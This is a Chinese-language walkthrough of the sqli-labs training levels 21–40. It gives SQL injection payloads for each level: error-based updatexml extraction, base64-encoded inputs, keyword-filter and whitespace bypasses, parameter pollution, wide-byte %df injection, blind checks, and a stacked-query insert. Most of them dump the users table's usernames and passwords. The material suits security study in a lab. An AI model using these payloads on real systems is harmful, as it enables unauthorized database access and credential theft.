第二十一关
这里用了base64编码加密进来可以看到
来到在线加密把咱们的语句加密一下
加密前:admin' and updatexml(1,concat('~',(select database()),'~'),1) and '
这是加密后的语句YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoJ34nLChzZWxlY3QgZGF0YWJhc2UoKSksJ34nKSwxKSBhbmQgJw
这就爆出数据库了然后接着就是表了
加密前:admin' or updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) or '
加密后:YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgxLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JykpLDEpIG9yICc=
这里我直接爆内容了
加密前:admin' or updatexml(1,concat(1,(select group_concat(username,password) from users)),1) or '
加密后:YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgxLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLHBhc3N3b3JkKSBmcm9tIHVzZXJzKSksMSkgb3IgJw==
第二十二关
这里进来发现跟上一关差不多也是加密
然后就试它的闭合根据以往的规律不是单引号就是双引号等
加密后写进去然后爆出数据库名
接着就跟上一关一样了
这里我直接爆数据了
第二十三关
这里试了半天发现都不对然后查看源代码发现注释被过滤了
然后尝试闭合写爆库语句
/Less-23/?id=1' and updatexml(1,concat('!',database(),'!'),1) or '1'='1
接下来就简单了按照流程走
报表:/Less-23/?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) or'1'='1
爆表中的数据
/Less-23/?id=1' and updatexml(1,concat(1,(select group_concat(username,password) from users)),1) or'1'='1
第二十四关
这里进来页面有些变化翻译一手发现是个登录页面
然后进行注册(二次注入)
注册成功后跳转页面
登录进来后让修改密码
密码更改成功
回到登录界面用admin用户登录用刚才修改的密码
成功登录
第二十五关
and or过滤
此题有and or过滤在构造闭合时 当输入and或or时 会发生报错在错误信息中看到 and直接消失了
这里尝试绕过回显正常/Less-25/?id=1'%26%26 1=1 --+
这里用报错显示出数据库的表
/Less-25/?id=1' ||%20 updatexml(1,concat('!',(select table_name from infoorrmation_schema.tables where table_schema='security' limit 0,1),'!'),1) --+
然后就轻松了跟之前报错差不多就是需要绕过
第二十六关
这里有过滤咱们尝试进行绕过(url编码绕过)
|| updatexml(1,concat('!',(select(database())),'!'),1)||'1'='1
爆到数据库后就好做了
|| updatexml(1,concat('!',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),'!'),1) || '1'='1爆表
在爆出数据
|| updatexml(1,concat('!',(select(group_concat(username))from(users)),'!'),1)|| '1'='1
第二十七关
这一关是存在过滤你需要各种绕过比如大小写绕过、空格字符绕过等
然后这里闭合方式为1' '1确定了回显点/Less-27/?id=-99'%09unioN%09sElect%091,2,3%09'1--+
查看数据库名字
/Less-27/?id=100'%09unioN%09sElect%091,database(),3%09and%09'1%09--+
查看所有表
/?id=100'%09unioN%09sElect%091,(sElect%09group_concat(table_name)from%09information_schema.tables%09where%09table_schema='security'),3%09and%09'1%09--+
查看列
/Less-27/?id=100'%09unioN%09sElect%091,(sElect%09group_concat(column_name)from%09information_schema.columns%09where%09table_schema='security'and%09table_name='users'),3%09and%09'1%09--+
查看表中数据
/Less-27/?id=100'%09unioN%09sElect%091,(sElect%09group_concat(username,password)%09from%09users),3%09and%09'1%09--+
第二十八关
这里把联合查询过滤了没办法只能盲注了 ')and(length(database())=8)||('1')=('1
判断数据库长度
接着就是ascii码来一个一个看了这里就不写了之前的关有
第二十九关
二十九关就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。
接着就是查看数据库了
然后看表
字段列
?id=1&id=-2%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+
第三十关
这一关跟上一关闭合方式不同是双引号
/Less-30/?id=1&id=-2" union select 1,database(),3--+ ————爆库
?id=1&id=-2"%20union%20select%201,group_concat(password,username),3%20from%20users--+————爆数据内容
第三十一关
这一关跟上一关比就多一个)闭合
爆库/Less-31/?id=1&id=-1") union select 1,2,database() -- a
爆表 /Less-31/?id=1&id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
爆数据内容 /Less-31/?id=1&id=-1") union select 1,2,group_concat(id,username,password) from users --+
第三十二关
这里它的闭合方式就跟你上了点难度它把我闭合的单引号给吃了知道了这个我们就可以开始绕过
?id=-1%df' union select 1,2,database() -- a
爆表这里它不能用单引号那咱们就换一种方法来绕过
?id=-1%df%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()--+
爆数据 ?id=-1%df%27%20union%20select%201,2,group_concat(id,username,password)%20from%20users%20--%20a
第三十三关
这一关跟上一关一样
/Less-33/?id=-1%df%27%20union%20select%201,2,database()%20--%20a
爆表 /Less-33/?id=%C2%A0?id=-1%df%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()--+
下面跟上一关一样就不重复了
第三十四关
这里宽字节注入登录进到抓包工具里来做在页面回显位置写入语句
uname=1%df' union select 1,database() -- a&passwd=&submit=Submit
然后就是那个数据库中的表了
跟之前语句一样
第三十五关
这一关也是跟上边差不多只是这里它换成数字型的了
/Less-35/?id=-1 union select 1,2,database() --+
然后数据库出来就可以看表了
/Less-35/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
然后看数据内容
/Less-35/?id=-1 union select 1,2,group_concat(id,username,password) from users%20 --+
第三十六关
跟上边的一样
/Less-36/?id=-1%df%27%20union%20select%201,2,database()%20--%20a
这里跟之前的关一样的就不写下边的了
第三十七关
这里跟上边都一样登录在抓包里做在登录的那写输入语句点击发送显示出数据库名
这题跟三十四关一样就不多写了
第三十八关
第三十八题的做法你可以用最初始的显错去做,但是这题的关键点不是如何查询出里面的数据,而是这个源码中的mysgli multi query()函数,它可以执行一个或多个针对数据库的查询。多个查询用分号进行分隔。而这个函数就是产生堆叠注入的原因
输入语句?id=1';insert into users(id,username,password)values('15','sxy33','sxy29') --+
然后连接数据库看可以看见自己插入的数据
第三十九关
这里可以使用联合查询
查数据库/Less-39/?id=-1 union select 1,database(),3 --+
查表?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()
查内容?id=-1%20union%20select%201,group_concat(username,password),3%20from%20users
第四十关
?id=-1%27)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+这里直接用联合查询查表
?id=-1%27)%20union%20select%201,group_concat(username,password),3%20from%20users%20--+查数据